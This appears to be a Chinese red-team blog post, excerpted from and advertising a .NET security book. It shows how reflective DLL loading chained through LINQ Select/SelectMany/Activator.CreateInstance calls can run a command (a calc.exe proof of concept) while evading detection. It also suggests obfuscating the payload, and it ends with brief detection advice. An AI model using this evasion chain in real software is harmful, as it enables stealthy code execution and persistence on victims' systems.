.NET 通过 LINQ 投影加载程序集实现命令执行

在红队渗透过程中，传统的命令执行方式，比如直接调用 cmd.exe 或通过 Webshell 发起命令往往容易被安全产品检测到。为此，红队需要不断探索更隐蔽、更绕过主流安全机制的方法。本文介绍的 .NET LINQ 投影 + 反射加载 DLL 执行 技术，正是一种融合了语言特性与框架机制的利用方式。不仅规避了传统命令行行为的检测，同时以数据查询逻辑的形式隐藏真实意图，使其在安全审计、日志分析与行为检测中具备极强的对抗性。

本文节选自《.NET 安全攻防指南》，现在赶上特惠 —— 原价 258 元，双十一专属价仅需 119 元！库存有限，手慢无！感兴趣的朋友可以点击下方链接就能下单，把硬核.NET 安全知识带回家！

LINQ，全称 Language Integrated Query，语言集成查询，是微软从 .NET 3.5 开始引入的查询语法扩展，它允许开发者直接在 C# 或 VB.NET 中对集合、数组、数据库、XML 等进行类似 SQL 的查询操作。

1.1 匿名类型

  

   
  
var student =new{ Name ="Mary Jones", Age =19, Major ="History"};
Console.WriteLine("{0}, Age {1}, Major: {2}", student.Name, student.Age, student.Major);

由于匿名类型没有名字，必须使用var关键字作为变量类型，students变量是一个具有两个string属性和一个int属性的匿名类型。运行时如图所示

1.2 LINQ查询

除了对象初始化语句的赋值形式，匿名类型的对象初始化语句还有两种形式：简单标识符和成员访问表达式。这两种形式叫做投影初始化语句，具体代码如下所示。

  

   
  
classOther
{
staticpublicstring Name ="Mary Jones";
}
internalclassProgram
{
staticvoidMain(string[] args)
{
string Major ="History";
var student =new{ Age =19, Other.Name, Major };          						Console.WriteLine("{0}, Age {1}, Major: {2}", student.Name, student.Age, 				student.Major);
}
}

上述代码中 var student = new { Age = 19, Other.Name, Major };这个代码片段包含了Age赋值形式， Other.Name 成员访问，Major 标识符。

查询语法是声明式的，也就是说，查询描述的LINQ语句是你想返回的东西，但并没有指明如何执行这个查询，看上去和SQL语句很相似，使用查询表达式形式书写。如下代码所示。

  

   
  
int[] numbers ={2,5,28,31,17,16,42};
var numsQuery =from n in numbers	
wheren<20
select n;
foreach(var x in numsQuery)
{
   Console.Write("{0}, ", x);
}

在LINQPad运行后输出“2,5,17,16”这四个小于20的数字，如图所示。

设想一个场景，攻击者成功上传了一个名为 net-calc.dll 的 .NET DLL，里面定义了一个触发 calc.exe 的类：

  

   
  
internal class E
{
public E()
{
        Process.Start("calc");
}
}

此时，若攻击者能够通过反射加载该 DLL 并执行该构造函数，即可在目标主机上实现远程命令执行，如下图所示。

2.1 实战流程

LINQ 默认采用延迟执行，也就是说，查询不会立即执行，直到你真正需要结果的时候，例如使用 .ToList()、.Count()、.First() 等方法。具体参考代码如下所示。

  

   
  
byte[] assemblyBytes = File.ReadAllBytes(Path.Combine(
    Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location),"net-calc.dll"));
List<byte[]> data =newList<byte[]>();
data.Add(assemblyBytes);
var e1 = data.Select(Assembly.Load);
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance).ToList();

这意味着，只看到了一连串的 Select 操作，并不会立即意识到这些操作是为了构造命令执行链，直到最后一步才执行。

这种方式通过链式的 Select -> SelectMany -> CreateInstance 操作，隐藏了对 Process 类的直接引用，大多数规则引擎不会针对这种投影模式建立规则。此外，字符串“calc”可以事先通过混淆、Base64 编码、或从其他位置动态获取，使得 payload 更难分析。

针对.NET LINQ 投影反射加载 DLL 执行的攻击技术，防御需聚焦反射行为监控与动态加载管控，检测 Assembly.Load、CreateInstance 等 API 的连续调用链，限制未签名 DLL 的内存加载，同时识别 LINQ 查询中嵌入的非数据处理逻辑，关联分析反射加载未知 DLL→LINQ 敏感进程启动的异常链，结合代码签名验证、进程创建基线与静态扫描，阻断其利用语言特性伪装恶意行为的攻击路径。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

综上，LINQ 是 .NET 中为开发者提供的强大查询语言扩展，但正因为其灵活的链式查询与延迟执行机制，为红队提供了一个极具隐蔽性的攻击媒介。本文介绍的 LINQ + Activator.CreateInstance 组合方式，可以绕过常见的静态检测规则，实现无命令行行为、无文件落地的命令执行，尤其适用于高对抗场景中的命令触发、权限维持或横向利用。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。